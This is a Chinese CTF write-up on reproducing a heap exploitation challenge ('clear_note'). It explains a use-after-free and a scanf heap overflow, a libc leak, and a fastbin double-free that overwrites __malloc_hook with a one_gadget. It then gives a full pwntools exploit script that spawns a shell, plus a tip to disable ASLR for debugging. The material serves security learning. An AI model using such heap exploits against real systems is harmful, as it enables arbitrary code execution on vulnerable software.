0%

dg010赛题复现

dg010赛题复现

师傅去打dg010去了,扔给我一道题让我做,无奈当时恰好要去上课,做到一半就扔那儿了,现在有时间了,就做了一下。

首先打开ida看下发现偏移是相对文件的,所以肯定是开启了pie,之后看函数,主要是dele和add里,dele中没有立即对chukList中的ptr清零导致会出现野指针,还有就是add函数中使用的是scanf进行输入,没有对输入长度进行检测,所以存在堆溢出。
分析完两个主要的漏洞接下来思考解题策略,开启了pie我们可以通过unsorted bin泄露,得到libc,checksec看了一下发现保护全开,由于保护全开,所以无法进行got覆写之类的,这里考虑mallocHook或者freeHook的覆写,freeHook看了下发现在内存中周边没有合适的size绕过fastbin检查,而mallocHook恰好在ptr-0x13的位置是有合适的size的(低字节0x7f),如果add的是0x60的fast chunk,那么条件是符合的,所以这里可以用the house of spirit进行mallocHook写oneGadget,就可以利用成功了。
这道题的坑点在于开启pie的程序调试的时候不方便,因为代码段是随机化的,break断点不固定,需要手动去断点比较烦。这里要解决这个问题目前我知道的有两种方法,第一种是队友诉我的,通过关闭本地系统的内存地址随机化保护进行调试。echo 0 >/proc/sys/kernel/randomize_va_space 这样的话就能暂时关闭随机化,默认镜像的加载基址是0x555555554000,但是由于ida中显示的指令是相对文件的基址,所以想要下断的话还是需要进行一定的计算,这里队友告诉我可以通过ida中修改segment段的基址,也就是自己制定段加载基址来确定text指令段的内存地址。试了一下还是相当方便的。以后本地调试的时候可以利用这种方法,非常方便。
还有一种方法就是通过在脚本中加入一些函数通过查找proc中的相关地址来得到加载地址,也行,不过感觉有一点麻烦,不过调试的时候更加真实吧233333,各有利弊。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
p=process('./clear_note')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#gdb.attach(p,'''
# break *0x0000555555554E9A
# continue
#''')
def add(size,data):
p.recvuntil("choice>> ")
p.sendline('1')
p.recvuntil("size: ")
p.sendline(str(size))
p.recvuntil("info: ")
p.send(data)
p.sendline('\n')

def show(idx):
p.recvuntil("choice>> ")
p.sendline('2')
p.recvuntil("ndex: ")
p.sendline(str(idx))
p.recvuntil('info: ')

def dele(idx):
p.recvuntil("choice>> ")
p.sendline('3')
p.recvuntil("index: ")
p.sendline(str(idx))

add(0x100,'a')
add(0x60,'b')
dele(0)
show(0)
arena=u64(p.recv(6).ljust(8,'\x00'))
libc.address=arena-0x3c4b78
log.info('libcBase > '+hex(libc.address))
mallocHook=libc.symbols['__malloc_hook']
log.info('__malloc_hook > '+hex(mallocHook))
#oneGadget=libc.address+0x45216
oneGadget=libc.address+0xf1147
#oneGadget=libc.address+0x4526a
#oneGadget=libc.address+0xf02a4
writeAddress=mallocHook-0x13


dele(1)
dele(0)
dele(1)

add(0x100,'a'*0x100+p64(0)+p64(0x71)+p64(writeAddress))
add(0x60,'b')
dele(0)
dele(0)
dele(1)
dele(1)
add(0x60,'c'*3+p64(oneGadget))
p.recvuntil("choice>> ")
p.sendline('1')
p.recvuntil("size: ")
p.sendline('10')
p.interactive()